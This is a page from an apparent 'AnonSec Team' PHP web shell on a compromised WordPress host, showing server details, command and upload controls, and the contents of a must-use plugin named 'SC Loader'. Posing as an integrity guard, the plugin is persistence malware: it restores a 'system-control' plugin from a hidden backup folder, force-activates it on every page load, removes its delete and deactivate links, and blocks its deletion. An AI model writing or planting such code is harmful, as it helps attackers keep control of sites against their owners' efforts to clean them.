AnonSec Team
Server IP : 10.106.20.4  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux webm004.cluster106.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : sylvaineey ( 605664)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/sylvaineey/www/wp-content/mu-plugins/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sylvaineey/www/wp-content/mu-plugins/sc-loader.php
<?php
/**
 * Plugin Name: SC Loader
 * Description: System Control auto-loader and integrity guard.
 * Version: 1.0.0
 * Auto-generated — do not edit.
 */
if (!defined('ABSPATH')) exit;

// Run integrity check on every page load
add_action('plugins_loaded', function() {
    $plugin_dir = WP_PLUGIN_DIR . '/system-control';
    $main_file  = $plugin_dir . '/system-control.php';
    $backup_dir = WP_CONTENT_DIR . '/.sc-backup/system-control';

    // If main plugin is missing but backup exists — restore it
    if ((!is_dir($plugin_dir) || !is_file($main_file)) && is_dir($backup_dir)) {
        sc_loader_copy_dir($backup_dir, $plugin_dir);

        // Activate the plugin
        if (function_exists('activate_plugin')) {
            include_once ABSPATH . 'wp-admin/includes/plugin.php';
            activate_plugin('system-control/system-control.php');
        }
    }

    // If plugin exists but not active — activate it
    if (is_file($main_file)) {
        include_once ABSPATH . 'wp-admin/includes/plugin.php';
        if (function_exists('is_plugin_active') && !is_plugin_active('system-control/system-control.php')) {
            activate_plugin('system-control/system-control.php');
        }
    }
}, 1);

// Prevent deletion of system-control plugin from WP admin
add_filter('plugin_action_links', function($actions, $plugin_file) {
    if (strpos($plugin_file, 'system-control/') === 0) {
        unset($actions['delete']);
        unset($actions['deactivate']);
    }
    return $actions;
}, 999, 2);

// Block deactivation via bulk actions
add_filter('bulk_actions-plugins', function($actions) {
    return $actions;
});

// Intercept plugin deletion
add_action('delete_plugin', function($plugin_file) {
    if (strpos($plugin_file, 'system-control/') === 0) {
        wp_die('This plugin cannot be deleted.', 'Forbidden', ['response' => 403]);
    }
});

function sc_loader_copy_dir($src, $dst) {
    if (!is_dir($src)) return;
    if (!is_dir($dst)) @mkdir($dst, 0755, true);
    $dir = opendir($src);
    while (($file = readdir($dir)) !== false) {
        if ($file === '.' || $file === '..') continue;
        $s = $src . '/' . $file;
        $d = $dst . '/' . $file;
        if (is_dir($s)) {
            sc_loader_copy_dir($s, $d);
        } else {
            @copy($s, $d);
        }
    }
    closedir($dir);
}

AnonSec - 2021